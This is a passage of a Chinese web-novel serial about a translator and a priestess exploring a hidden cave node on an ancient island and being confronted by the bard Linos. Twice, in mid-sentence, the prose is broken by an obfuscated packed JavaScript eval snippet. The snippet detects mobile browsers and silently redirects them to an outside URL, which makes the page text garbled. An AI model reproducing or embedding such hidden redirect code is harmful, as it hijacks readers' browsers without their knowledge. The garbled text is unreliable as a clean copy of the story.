她脚步一顿,心脏猛地一跳。在这种地方,任何异常都可能是线索,也可能是致命的陷阱。但被囚禁虐杀的恐惧和对活着找到真相的渴望压倒了对未知的警惕。她犹豫了几秒,转身,深一脚浅一脚地朝那片水洼走去。 水不深,只到小腿。她蹲下身,用手在冰冷的海水中摸索。指尖触到了一片坚硬的、平坦光滑的东西。她用力将它从水底黏滑的淤泥和海藻中拔出。 是一块不规则的深色石板,约两个巴掌大小,材质不是金属,似石非石,入手温润,却异常沉重。刚才的微光,正是从石板表面某些极细微的、发光的刻痕中透出的。那些刻痕构成一幅极其简约抽象的图案:中央是一个小小的螺旋,螺旋中心有一个点,螺旋四周,分布着七个更小的点,以不规则的间距环绕,其中三个点的位置,用一种更细的、几乎难以察觉的线条,与边缘几个像是简化山峰或波浪的符号连接着。 这图案……与铜杯内部陶片的“眼睛螺旋”符号风格迥异,却同样带着非希腊的、古老而理性的气息。更重要的是,余茶直觉这石板,尤其是那七个点和连接线,与定位或对应关系有关。像星图?还是地脉节点图? 她来不及细想,用湿透的衣角匆匆擦去石板正反两面的淤泥,塞进怀里,卡在腰带中,然后迅速转身,冲出海蚀裂缝。 外面是月光下的嶙峋礁石带,海浪在身侧咆哮。她按照艾拉的指示,辨认方向,沿着被月光照得发白的礁石向岸上艰难跋涉。左脚踝的伤本该在剧烈运动下剧痛起来,但“幸运”的是习惯海水火辣辣地刺激后,它的冰冷也麻木了脚踝的剧痛,让她能咬着牙继续前行。 终于,她看到了那三块叠在一起的、醒目的白色巨石。转过去,一条被荒草掩盖的陡峭小径通向山上。她开始攀爬,每一次呼吸都带着肺部的灼烧和脚踝的剧痛。 没爬多远,上方阴影里传来一声低低的呼哨,是约定的暗号。两个穿着深色衣袍、脸上抹着灰泥背着弓箭的山民青年从树后闪出,警惕地打量她一眼,确认是艾拉描述的人,一言不发,一左一右架起她几乎脱力的胳膊,加快速度向山上拖去。 他们走的显然是非常隐秘的狩猎小径,避开了一切可能的视线。沿途,余茶能感觉到脚下大地偶尔传来的、极其轻微的震颤,以及风中越来越清晰的、那种低频的、令人心慌的嗡鸣。山民青年的脸色在月光下显得异常凝重。 穿过一片稀疏的橄榄树林,前方山脊上,一座废弃的石塔的黑色剪影矗立在星空下。塔身残破,但结构大体完好,像是很久以前用于观测天文或烽火的建筑。塔下不远处,就是被称为“昂尼斯之泉”的源头——一处被古老石栏围起的、不断涌出清澈水流的泉眼,泉水在月光下泛着银光,汇成小溪流向山下。 此刻,泉眼附近的空地上,聚集着二三十人。全是山民中的精锐,青壮年手持自制的长矛、弓箭和伐木斧,几位须发皆白的长老肃立一旁。所有人的目光,都集中在泉眼边站立的阿尔克提斯身上。 阿尔提克斯已经脱去了祭祀时的紫色华服,换上了一身便于行动的深灰色紧束猎装,小腿上是皮革制成的胫甲,脚穿厚底皮靴,长发紧紧束在脑后,双头斧木杖换成了更趁手的、前端包铜的硬木长棍。她正蹲在泉眼边,一只手浸入冰凉的泉水,闭着眼,眉头紧锁,仿佛在倾听水流深处的讯息。她身边的地面上,摊开放着几件东西:从铜杯上撬下的那块带符号的陶片、一个小巧的、似乎由不同颜色泥土捏成的粗糙模型,看起来像是岛屿的微缩地形,上面插着几根细木签。 余茶被带到人群外围。阿尔克提斯仿佛有所感应,睁眼抬头,目光精准地落在余茶身上。那双总是沉静如海的眼眸,此刻燃烧着一种近乎狂热的专注与深重的忧虑。她没有询问余茶如何逃脱,只是微微颔首,示意她靠近。 “你来得正好。”阿尔克提斯的声音比平时沙哑,语速很快,“地脉在哀鸣,泉水在‘诉说’混乱。比预想的早了整整三天。”她指向地上那个泥土模型,“看这里,港口方向,还有这里,山腹旧矿坑,还有……我们脚下的泉眼。三个点的‘韵律’全乱了,像被无形的手粗暴地拨动。尤其是港口,乱象的中心。” 她拿起那块青铜陶片,指尖抚过上面的眼睛螺旋符号:“这个……我家族残留的典籍里提到过只言片语。它被称为‘监察者之印’或‘度量之眼’,通常刻在最重要的仪式核心器物内部,用于校准器物与特定地脉或星象的‘共振’。它本身不是钥匙,但能指示‘钥匙’使用的正确‘刻度’与‘相位’。它被破坏,暴露,可能就像……拔掉了一个精密水钟的塞子,或者触动了一个沉睡陷阱的机关。” 她看向余茶,目光灼灼:“你在那杯子附近,还看到了什么?感觉到了什么?任何细节!” 余茶喘息着,从怀里掏出那块在洞窟水洼里捡到的发光石板:“我……逃出来的路上,在海蚀洞水底,找到了这个。” 所有人的目光瞬间聚焦在石板上,尤其是它表面那微微发光的刻痕。几位长老发出惊异的低呼。 阿尔克提斯一把接过石板,手指颤抖着,余茶第一次看到她如此失态,她抚过那些发光的点和线,脸色在月光下瞬间变得苍白,随即又涌上一股激动的红晕。 “七点定位图……残缺的……但这是……”她喃喃自语,猛地抬头,眼神如电,“这不是星图,这是地脉节点与‘容器’潜在位置的对应图!看这七个点,它们的位置与岛上几处古老的能量异常点大致吻合。这个螺旋中心点……如果我的推算没错……”她急速地对比着地上的泥土模型和石板刻痕,手指在模型上几个位置快速移动,“港口、旧矿坑、泉眼……还有这里,山顶宫殿废墟中心……这里,南湾的礁石群……以及……”她的手指停在模型上一个没有标记任何特征、位于岛屿东北部山林深处的位置,“这里,一个连我们都几乎遗忘的、被称为‘爱科谷’的封闭小山谷……这第七个点,对应的可能是……” 她的话戛然而止,因为脚下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226081|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大地,突然传来一阵比之前任何一次都更明显的震动!与此同时,泉眼的水流猛地变得湍急,水面上升,水色在月光下隐隐透出一丝不祥的、浑浊的暗红。那种低沉的嗡鸣声陡然放大,仿佛无数根巨大的琴弦在岩石深处被同时狠狠拨动。 “来了!”一位长老失声喊道。 人群一阵骚动,战士们握紧了武器,一边紧张地望向港口方向,那里隐隐有火光和更嘈杂的声音传来,另一边激动地盯着脚下涌动的泉水。 阿尔提克斯却死死盯着手中发光的石板,又看看那块铜杯陶片,再看向模型上“爱科谷”的位置,眼中光芒剧烈闪烁,仿佛在进行着极其艰难而危险的推演。 “不对……不完全对……”她低语,“监察者之印被触动,地脉失衡……但失衡的韵律,和古老的遗言?港口是爆点,但紊乱的波纹,却在向……向‘爱科谷’方向偏移?”她猛地看向余茶,“那个游吟诗人!利诺斯!他除了策划那场‘意外’,还做了什么?克里同还让他接触过什么?他到底是谁?” 余茶茫然摇头。她只知道利诺斯背叛、做交易。 阿尔克提斯深吸一口气,似乎做出了某个重大决定。她站起身,目光扫过在场所有人,声音恢复了惯有的、不容置疑的威严,却多了一份破釜沉舟的决绝: “地脉紊乱已不可逆,强行压制只会引发更大灾难。古老的记录提到,当‘监察者’失序,‘容器’的方位可能会短暂‘显现’,但也可能引发不可预测的‘溢出’。我们必须分头行动!” 她快速下令: “艾拉,你带一半人,立刻赶往港口。不是与克里同正面对抗,是尽可能控制混乱,疏散无辜,尤其是靠近港口的山民家庭!注意观察地裂、水质等异常,有任何发现立刻用烽火信号回报!” “哈隆长老,你带其余人,守住泉眼和上山要道。防止克里同的人趁机上山,也监视泉水变化。同时,找人和那几位长老说一下,若要大岛无忧,必等我回来。” 然后,她看向余茶,目光复杂:“你,跟我走。带上石板和陶片。”她顿了顿,补充道,声音低得只有两人能听清,“‘爱科谷’……我家族最古老的记忆碎片里提到过,那里可能藏着……上一次‘大遗忘’时,未被完全销毁的‘备份’,或者是……一个‘错误’的入口。现在地脉被扰乱,指向那里,无论是因为利诺斯的阴谋,还是古老机制自身的反应,我们都必须去查看。你是变数,或许……也是唯一能看懂某些‘备份’内容的人。” 她说完,不再解释,将石板和陶片塞回余茶手中,自己抓起那根包铜长棍,对两位最精悍的年轻山民战士示意:“你们俩,跟我来。其余人,执行命令!” 没有时间质疑或恐惧。阿尔克提斯已经转身,朝着与港口、泉眼都不同的、通往岛屿东北部深山的方向,迈开了疾步。余茶攥紧手中微凉的石板和陶片,看了一眼脚下仍在翻涌暗红泉水的泉眼,又望了望远处港口方向隐约的火光,咬紧牙关,忍着脚踝的刺痛,跟上了那个在月光下疾行的灰色身影。 她心中却暗念一个和当下紧张情况完全不搭的决心:这破衣服一个口袋都没有,下次得弄个结实的皮包! 身后,山民们迅速而沉默地分头行动。身前,是未知的、弥漫着诡异嗡鸣与大地轻颤的黑暗山林,通往那个可能藏着失落传承“备份”或致命“错误”的“爱科谷”。 星空之下,岛屿仿佛一个被惊醒的古老巨兽,在不同的部位发出痛苦而不安的躁动。而她们,正朝着那躁动轨迹中,最深沉、也最不可测的一个节点,奔行而去。 11. 不安的回响与谷底的微光 通往“爱科谷”的山路比想象中更荒僻难行。月光被高耸的林木切割得支离破碎,脚下是经年堆积的腐殖质和盘虬的树根。阿尔克提斯手持包铜长棍在前开道,步伐快而稳,仿佛对这片被山民都视为禁地的山林了如指掌。两名随行的山民战士紧随其后,警惕地扫视着周围每一片晃动的阴影。余茶被夹在中间,脚踝每一次落地都传来尖锐的刺痛,她咬紧牙关,强迫自己跟上,呼吸粗重得像破旧的风箱。 疼痛和疲惫让余茶一直走神,她在内心抱怨:平时应该积极锻炼身体的,体力到用时方恨少。再这样下去,没找到真相就累死在半路了。 沉闷的地底嗡鸣并未消失,反而因深入山林而显得更加无处不在,仿佛整座岛屿是一头受了伤、在睡梦中痛苦呻吟的巨兽。空气里弥漫着潮湿的泥土、腐烂树叶和一种淡淡的、类似硫磺的古怪气味。 “大祭司,”一名年轻战士忍不住压低声音问,“这声音……还有这气味,真的是因为那杯子上的符号?” 阿尔克提斯脚步未停,声音在山林的寂静中显得格外清晰冷静:“‘监察者之印’关联地脉。符号暴露,如同在稳定的水渠上凿开一个口子。水流会乱,带出深处一些……不那么令人愉快的东西也不奇怪。”她顿了顿,补充道,更像是在说给余茶听,“克里同和他那个自作聪明的诗人,以为只是扳倒我的政治把戏。他们根本不知道自己搅动了什么。” “那个利诺斯,”余茶中断自我腹诽,喘匀一口气,声音因为疲惫和疼痛而比平日更显冷硬,“他看起来只关心自己的琴弦和钱袋。搅动什么都无所谓,只要报酬够‘有趣’。”她想起牢门外那场交易,想起他淡琥珀色眼里毫无温度的兴味,胃里一阵翻搅:“大祭司为什么会相信利诺斯呢?” 阿尔克提斯回头瞥了她一眼,月光下她的侧脸线条冷峻:“享乐主义者往往是最不可预测的变量。他们不忠于任何信念,只忠于自己的感官。当‘有趣’变成‘危险’,他们会立刻逃离,或者……为了更极致的‘有趣’而深入险境。但如果他能力极高,也不是不能交易。”她话锋一转,“你似乎对他评价不高。” “我对所有让我的处境变得不安全的人,评价都不会高。”余茶干巴巴地回答,小心避开一根横生的荆棘,“包括我自己。”如果不是那份翻译的活儿,如果不是那该死的、过于诱人的报价,如果不是她骨子里那份对“积累足够资本就能一劳永逸获得安全”的执念……她或许还在帝都那两套虽小但完全属于她的房子里,吃着外卖水果,对着新淘来的小众珠宝设计图册挑挑拣拣,定期进行着效果存疑的减肥计划。而不是在这里,用半残废的脚踩着不知名的恶心腐殖层,追踪着地底怪声,怀里揣着能要命的古董。 房子、存款、珠宝——那些都是她构建的、对抗世界不确定性的堡垒。而现在,堡垒远在天边,她赤手空拳,连口袋都么得一个,站在一片随时可能崩塌的古老废墟上。这种失控感让她心底发寒,也让她下意识地用更刻薄、更冷漠的外壳武装自己。 另一名年纪稍长的战士忧心忡忡:“大祭司,我们真的要去‘爱科谷’?老人们都说,那里连鸟叫都传不出来,进去的东西……有时候会以奇怪的样子出来。” “所以才是‘备份’或‘错误’可能存留的地方。”阿尔克提斯语气坚定,“也是现在地脉紊乱指向最清晰的地方。不去,我们可能永远不知道是什么被触发了,更别提控制或修复。”她停下脚步,在一片相对开阔的林间空地稍作休整。众人拿出水囊饮用。 余茶靠着一棵大树滑坐在地,小心地抬腿观察左脚踝。已经肿得发亮,皮肤泛着不祥的青紫色。她从希顿下摆又撕下一条布,就着水囊里所剩无几的清水浸湿,紧紧绑在肿胀处。冰冷和紧束感带来些许缓解,但剧痛依旧。她面无表情地做完这一切,仿佛处理的是别人的伤口。疼痛是当下必须忍受的客观事实,抱怨无用,停下就是死,只能计算如何用最小代价换取继续行动的能力。她接过一个战士给的硬得能磕掉牙的干饼和两个干瘪的无花果,默默嚼着,味同嚼蜡,但碳水能提供必要的能量。她对食物一向要求不高,能果腹、不难吃就行,此刻更是只将其视为燃料。 阿尔克提斯走到她身边,递过来一小块用树叶包裹的、深绿色的膏状物。“捣碎的草药,镇痛消肿。敷上。”她的命令简短,没有多余关怀。 余茶接过,道谢的语气也缺乏温度:“谢谢。希望它有效,我不想到时候成为你们的累赘。”她敷上药膏,一阵清凉感暂时压住了火辣辣的痛。她抬起头,看着阿尔克提斯在月光下如同精美雕塑般的侧影,忽然问:“你好像对这条路很熟。以前来过?” 阿尔克提斯沉默了片刻,目光投向山谷更深处的黑暗。“很多年前,跟着我的老师,上一任大祭司来过一次外围。为了……记录一些即将消失的地标。”她没有细说,“‘爱科谷’的真正入口很隐蔽,需要特定的标记才能找到。希望那些标记还在。” 休息了约一刻钟,队伍再次出发。地底的嗡鸣似乎变得更加有节奏,不再是杂乱无章的噪声,而像一种缓慢、沉重的心跳,一下,又一下,敲打着人的鼓膜和胸腔。硫磺味也更浓了。 终于,在天色将明未明、最为晦暗的时刻,他们来到了一处断崖的边缘。下方是更加深邃的黑暗,仿佛大地在这里裂开了一道口子。对面崖壁在朦胧天光下呈现出诡异的、层层叠叠的褶皱状黑色岩石,寸草不生。 “就是这里。”阿尔克提斯指着断崖下方,“入口在下面大约十人深的地方,有一片向内凹陷的平台。需要绳索。” 一名战士从背囊中取出结实的绳索,熟练地在一棵粗壮的老树上打好结,将另一端抛下悬崖。阿尔克提斯率先下去,动作利落。余茶看着那黑黢黢的崖下,深吸一口气。高度带来危险,但留在这里同样危险。她将怀里的石板和陶片塞得更紧,然后抓住绳索,用未受伤的腿和手臂的力量,配合战士的指引,一点点向下滑。粗糙的绳索把她细嫩的手掌很快磨破了皮,但每一次发力都牵扯到脚踝的疼痛,让她无暇他顾,脚下是虚空,冷汗早已湿透了后背。她一声不吭,只是死死咬着牙,将所有注意力集中在下一个受力点上。她必须下去。 当她终于踩到下方狭窄的岩石平台时,腿一软,几乎跪倒,被先下来的阿尔克提斯一把扶住。平台后方,崖壁上果然有一个被藤蔓和奇怪的水晶状结垢半掩着的洞口,仅容一人弯腰通过。洞口边缘的岩石上,刻着几个几乎被岁月磨平的符号——正是那种螺旋与抽象几何线条的组合,与铜杯内部的“监察者之印”风格不同,但明显属于同一文明谱系。 “就是这里。”阿尔克提斯的声音带着一丝不易察觉的颤抖,是激动,也是警惕。她用手拂去洞口的些许结垢,露出更多符号。“这些是……路径指示和警告。”她辨认着,“大意是‘循光而行,勿触暗影’,‘声音即是道路,亦是陷阱’。” 她示意战士留在平台警戒,然后看向余茶:“跟着我,紧贴有这种发光苔藓的一侧走。”她指向洞壁一侧,那里生长着极其稀疏的、发出微弱绿色荧光的苔藓类植物。 两人弯腰钻进洞口。洞内并非一片漆黑,除了那微弱的苔藓光,洞壁深处某些矿物也发出点点幽光,让环境勉强可视。通道初极狭,而后逐渐开阔,但地形崎岖,布满湿滑的岩石和深浅不一的水坑。最奇特的是这里的声音:她们的脚步声、呼吸声、甚至衣服摩擦声,都被放大了数倍,并且在曲折的洞壁间来回反弹、叠加,形成层层叠叠、延迟的回声,听久了让人头晕目眩,难以分辨声音的真正来源和方向。 “声音即是道路……”阿尔克提斯喃喃重复,她停下脚步,侧耳倾听那纷乱的回声,试图从中找出规律。余茶也强迫自己集中精神去分辨。在诸多混杂的回声中,她似乎捕捉到一丝极其微弱、但异常稳定的低沉嗡鸣,与外界的地脉噪音同源,但似乎……更集中,像从某个固定方向传来。 “那边。”余茶指了指洞穴深处一个倾斜向下的岔道,那里传来的回声似乎带有更明显的嗡鸣底色,“声音的‘底色’不一样。”她的语气是分析性的,不带感情,就像在判断一份晦涩文献中哪个词汇更可能是关键词。只要是在专业领域,哪怕是半吊子的古符号和声音分析,她也能迅速找到一丝熟悉的、可掌控的感觉,暂时抵御陌生环境带来的全方位不安。 阿尔克提斯看了她一眼,点头:“跟着‘底色’走。” 她们选择那条岔道,更加小心翼翼。回声干扰越发严重,有时一句话要重复好几遍才能听清。洞内的空气越来越滞重,硫磺味中混入了一种更奇异的、类似陈年金属和臭氧的气味。脚下开始出现人工修凿的痕迹——粗糙的台阶,还有墙壁上间隔出现的、放置火把的凹槽,只是里面空无一物。 走了约莫半小时,前方豁然开朗,是一个巨大的、天然形成的石窟。石窟中央,是一个平静得诡异的深潭,漆黑的水色中时不时冒出幽幽白烟。余茶伸头看去,脑袋一冰,是寒气! 深潭对面,靠着岩壁的地方,矗立着一座矮小的石砌建筑,风格古朴至极,方方正正,没有任何装饰,只有一扇紧闭的、看起来是金属材质的小门。门上没有任何把手或锁孔,只有中央一个凹陷的、复杂的立体凹槽,形状看起来……需要放入一个与之完全契合的立体部件才能开启。 而整个石窟最引人注目的,是岩壁和穹顶上遍布的发光符号与线条!它们并非绘制,更像是某种矿物自然生长或能量浸润形成的脉络,发出柔和的、蓝白色的冷光,构成了庞大而精密的图案,其中许多符号与余茶带来的石板上、以及铜杯陶片上的符号系统明显同源,但更加完整、复杂。它们似乎在描述某种循环、某种能量的汇聚与流转,而石窟中央的黑潭,正好位于所有光络汇聚的一个关键节点上。 “这里……”阿尔克提斯的声音带着震撼的喘息,“不是坟墓,也不是仓库……这是一个古老的、仍在某种低限度运行的能量节点枢纽……或者说,‘备份’的接口?”她仰头看着那些发光脉络,眼中充满了前所未有的狂热与敬畏,“我家族传承中的‘核心知识’,可能不是写在纸上,而是……以这种方式‘存储’在这个节点里!如今正好到了预言的时刻……”阿尔克提斯突然闭嘴。 余茶也被眼前的景象震慑,但警惕的本能让她立刻注意到阿尔克提斯的卡壳:“预言?看来大祭司还有秘密啊。不过你也不用担心,我没那么强的好奇心。现在最关键的是那扇门怎么开?”她指向金属小门上的凹槽,“这看起来需要一把非常特定的‘钥匙’。你家族传承里,有没有关于一把立体‘钥匙’的记载?比如,一个符合那个凹槽形状的……器物?” 阿尔克提斯贴着深潭边上细窄的岩石小道,小心翼翼地走到金属门边,仔细查看凹槽,眉头紧锁。“没有……至少,我所知的残缺传承里,没有。这个凹槽的形状……非常奇特,不像是任何常规工具或祭祀法器。”她用手比划着,那是一个多面体组合,带着螺旋纹路和卡榫结构。“难道‘钥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226082|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匙’在别处?或者……已经遗失了?” 就在这时,余茶怀里的那块发光石板,突然毫无征兆地变得滚烫。但余茶没有作声,那个脱口而出的“预言”说不定就有自己回家的方法,而大祭司显然不想告诉她,那么也许只能用“交易”了。 可下一秒,石窟岩壁上那些发光的脉络,光芒骤然增强。尤其是靠近黑潭边缘的几条光络,亮度急剧提升,并向潭水中心延伸! 平静的黑潭水面,开始泛起涟漪,不是由外及内,是从潭水中心深处,向外扩散出一圈圈规整的波纹。同时,那稳定的低沉嗡鸣声,陡然拔高了一个调子,变得尖锐而充满压迫感。 “不好!”阿尔克提斯脸色剧变,“地脉紊乱影响到这里了。这个节点被激活了……但方式不对。没有‘钥匙’的引导,能量可能会……暴走或者泄露!” 仿佛印证她的话,黑潭中心的水面,开始向上隆起,形成一个不断扩大的水泡,水泡表面流转着那些蓝白色的光络,诡异莫名。同时,石窟开始轻微震动,穹顶有细小的碎石落下。 余茶紧紧攥住发烫的石板,对大祭司的怀疑被死亡的危机感取代。这个随时可能被失控能量引发塌方的鬼地方可不是交易的好地点,也不是被埋葬的好地点。她快速扫视周围,寻找任何可能的出路或掩体,同时大脑疯狂运转:石板发热,与这里的光络呼应……石板上的七个点,是否对应岛上七个节点,而这里是其中之一?石板本身会不会是……某种控制或安抚的媒介? “大祭司!”她提高声音,压过越来越响的嗡鸣和落石声,语气是强装的镇定,“这石板在发热!上面的点和线,和这里墙上的图案有关联。我们能不能试着……把它放在某个地方?或者,对照着做点什么?”她忍者痛快速走到金属门边,将石板递过去。 阿尔克提斯接过石板,目光急速在石板刻痕和岩壁发光脉络之间移动。她的手指划过石板中央的螺旋和七个点,又看向黑潭中心那不断隆起的、布满光络的水泡,眼中闪过一道亮光:“七个点……节点……控制……或许不是直接开门,而是……稳定这个节点,石板可能是稳定器或导航图!我们需要把它放在……” 她的目光锁定在黑潭边缘,一处特别明亮的光络交汇点,那里有一个天然形成的、微微凹陷的石台,形状与石板大小相仿。 “那里!快!”她将石板塞回余茶手里,指向那个石台。 余茶没有犹豫,忍着脚踝剧痛,以最快速度一瘸一拐地冲向潭边。震动加剧,隆起的潭水仿佛一个即将炸开的光球,嗡鸣声刺耳欲聋。她扑到石台边,看准位置,将手中滚烫的发光石板,用力按进了那个凹陷处! 严丝合缝! 就在石板与石台接触的瞬间—— 石板上的刻痕爆发出前所未有的强烈光芒。与此同时,岩壁上所有的发光脉络也同步亮到极致,整个石窟被蓝白色的冷光照得如同白昼! 那隆起的、布满光络的水泡,剧烈颤动了一下,然后……没有炸开,而是缓缓地、以一种肉眼可见的速度,开始向内收缩、平复!尖锐的嗡鸣声也随之降低,恢复成之前那种低沉的、有节奏的搏动。石窟的震动停止了。 光芒逐渐减弱,恢复成之前柔和的亮度。黑潭重归平静,仿佛刚才的惊变从未发生。只有空气中残留的臭氧味和余茶狂乱的心跳,证明着一切。 余茶瘫坐在石台边,大口喘气,手还在微微发抖。暂时安全了?她不确定。但刚才那一瞬间,她做出了选择,一个基于有限信息和求生本能的选择,这让她找回了一丝微弱的掌控感。 阿尔克提斯走过来,看着严丝合缝嵌在石台中的石板,又看看余茶,眼神极其复杂。“你……做得对。”她顿了顿,“这石板,看来确实是稳定这个节点的关键之一。它阻止了一次可能的小型能量喷发。” “之一?”余茶抓住关键词,声音依旧沙哑,“意思是,还有其他节点可能不稳?或者,这石板只是临时措施?” 阿尔克提斯点头,面色凝重:“很可能。而且,我们仍然打不开那扇门,不知道里面到底是什么。‘钥匙’依然缺失。”她望向金属小门上的复杂凹槽,“但至少,我们暂时控制住了这个点的异动。现在的问题是……” 她的话没说完,因为从他们进来的通道方向,传来了一阵急促而陌生的脚步声,还有金属轻微碰撞的声音。不是留守战士的脚步声。 有人进来了。而且不止一个! 阿尔克提斯瞬间举起长棍,将余茶拉到自己身后,面向来路,眼神锐利如刀。 脚步声迅速逼近,火光晃动间,几个身影出现在石窟入口。 为首的人,穿着一件沾满尘土的旅行斗篷,手里举着一个火把。火光照亮了他带着玩味笑意的脸,和那双熟悉的、淡琥珀色的眼睛。 利诺斯。 他身后,跟着两名克里同的护卫,以及……那个在祭祀中“失手”的山民青年,此刻被绳子捆着,满脸惊恐。 “晚上好,大祭司,还有我们死里逃生的抄写员。”利诺斯的声音在空旷的石窟里回荡,被放大的回声显得格外诡异,“看来,你们找到了一个……相当有意思的地方。”他的目光扫过发光的岩壁,平静的黑潭,嵌着石板的石台,最后,牢牢锁定在那扇紧闭的金属小门上,眼中闪烁着毫不掩饰的、极度兴奋的光芒。 “听说这里可能有古老宝藏的线索?”他笑着,向前走了一步,“巧了,我这个人,最喜欢收集……宝藏。” 12. 利诺斯的估价与阿尔克提斯的计算 石窟里的空气,在利诺斯出现的那一刻,仿佛凝固成了某种易碎的、带着硫磺味的水晶。蓝白色的冷光流淌在每个人脸上,映出不同的心思:阿尔克提斯是冰冷的戒备,余茶是混合着疼痛与厌烦的警觉,而那几名不速之客,则被新奇与贪婪涂抹得面目模糊。 利诺斯举着火把,姿态悠闲得像是在参观某个略显偏僻的私人画廊。他的目光从那扇紧闭的金属小门,滑到嵌在石台中发光的石板,再扫过岩壁上那些沉默运转的古老光络,最后,才落到阿尔克提斯紧握的长棍和余茶苍白汗湿的脸上。他嘴角那抹玩味的笑意加深了。 “大祭司总能找到最……别致的祈祷场所。”他的声音在空洞的回音里显得有些失真,但其中的愉悦和某种找到新玩具般的兴致却清晰无误。“看来,克里同对港口税务的操心,比起这里藏着的……呃,‘神恩’,实在是有些微不足道了。” 阿尔克提斯没有放下长棍,身体像绷紧的弓弦,声音却努力维持着大祭司的威严与冷静:“利诺斯。看来克里同给你的报酬,除了银币,还包括探索山民禁地的特权?” “探索?哦,不,大祭司,您误会了。”利诺斯耸耸肩,这个动作让他看起来愈发轻佻,“我只是个对‘故事’和‘声音’着迷的流浪者。您看,这里的‘回声’如此独特,地底的‘吟唱’如此……引人入胜。而您和这位勇敢的抄写员,显然正在谱写一段远比赫西俄德的田园诗更刺激的篇章。好奇心,您知道,有时候比黄金更驱使人心。况且,我也不一定没有来这禁地的权利吧?毕竟我也曾是山民的一脉。”他巧妙地避开了直接承认受克里同指使,将自己置于一个追求“极致体验”的享乐主义者位置,同时还透露了一个余茶从未了解到的信息——虽然这可能是真的,也可能是更精明的伪装。 余茶靠在冰冷的石壁上,脚踝的剧痛让她每一次呼吸都带着刀割般的清醒。她看着利诺斯,这个不久前才用一场交易把她从牢房里“卖”出来的男人,此刻又带着新的筹码和危险出现在更深的陷阱里。这种人永远行走在危险的路上,别人的生命就像他琴弦上最细的那根,轻轻一拨就可能断掉,而他还觉得那声音很动听。她心底泛起一丝冰冷的讥诮:常在河边走,早晚淹死他! “你的好奇心,”阿尔克提斯冷冷道,“似乎总是伴随着他人的麻烦和既成规则的破坏。祭祀上的‘意外’,地脉的紊乱,恐怕都少不了你‘好奇’的推波助澜。” 利诺斯笑了,那笑容在冷光下显得坦率而残忍:“规则?大祭司,恕我直言,规则只是大多数人为了方便而认同的临时共识。而当更有趣的‘真实’——比如,埋藏在这里的、可能改写某些神话的‘真实’——浮现时,共识往往是最先被丢弃的旧衣服。”他向前又走了一小步,目光灼灼地盯着那金属小门,“比如那扇门后的东西。那会是‘宝藏’的另一种注释吗?还是米诺斯工匠留给后世的、关于如何与神明讨价还价的说明书?”他转向余茶,淡琥珀色的眼睛眨了眨,“抄写员,您专业的见解呢?那些符号,”他指了指岩壁,“在诉说什么?公平交易,还是警告?” 余茶迎着他的目光,脸上没什么表情,只有疲惫和疼痛带来的僵硬。她知道此刻任何信息都可能被利诺斯称量、估价,然后转化为对他有利的某种“有趣”。她不能让他掌握主动权,至少在阿尔克提斯面前不能。 “它们在说,”余茶的声音沙哑,但字句清晰,“闯入者,尤其是带着武器和绑着他们后人的闯入者,通常没什么好下场。”她瞥了一眼被捆着、瑟瑟发抖的山民青年。那青年接触到她的目光,羞愧而绝望地低下头。 利诺斯挑眉,似乎很欣赏她的反击:“精辟。那么,大祭司,您打算怎么处理我们这些‘闯入者’呢?在这里上演一出古老洞穴中的悲剧?还是……我们或许可以谈谈?毕竟,”他示意了一下身后的护卫,又看了看受伤的毫无反抗能力的余茶和孤身一人的阿尔克提斯,“局面虽然微妙,但并非没有……互利互惠的空间。我对门后的‘故事’感兴趣,您对‘钥匙’和稳定地脉感兴趣,而克里同……”他意味深长地停顿,“他对一切能巩固他权力、彰显他‘发现’功绩让他能当上首席科斯摩的东西都感兴趣。看,我们各有诉求。” 典型的利诺斯式逻辑:将一切矛盾简化为利益诉求,将所有人置于他臆想的交易天平上。阿尔克提斯心中冷笑。她太清楚这种人的危险性,他们没有任何底线,唯一的准则是“是否划算”或“是否有趣”。与他合作,无异于在深渊边跳探戈。 “你的诉求与我无关,”阿尔克提斯语气斩钉截铁,“地脉紊乱因你们而起,我有责任修复。这里的东西,不属于克里同,也不属于任何个人的‘好奇心’。现在,带着你的人,离开。”她长棍微抬,指向来路,姿态强硬。但她眼角余光始终留意着两名护卫的手是否按向武器,心中飞速计算:动手,她有几分胜算?余茶几乎无战斗力,外面战士是否已经被制服?利诺斯本人看似随意,但那份游吟诗人般的松弛下,是否藏着别的危险? 利诺斯脸上的笑容淡了些,但没有退却。“离开?大祭司,您看,我们好不容易找到这里,见证了如此……神迹。空手而归,不仅是对克里同无法交代,对我自己的求知欲也是一种残忍的辜负。”他叹了口气,仿佛真的很遗憾,“况且,您真的认为,修复地脉,单靠那块发光的小石板就够了吗?”他目光再次投向石台,“它稳住了这个‘点’,不错。但其他‘点’呢?港口,旧矿坑,泉眼……它们还在‘歌唱’。没有完整的‘图谱’和‘钥匙’,您只是在堵漏洞,而洪水正在别的堤坝下聚集。” 他的话击中了阿尔克提斯内心最深处的焦虑。他说得对。石板只是暂时稳定了这个节点。地脉是一个网络,一处剧烈紊乱,必然波及其他。没有全局的了解和真正的控制手段,危机只是推迟,而非解除。 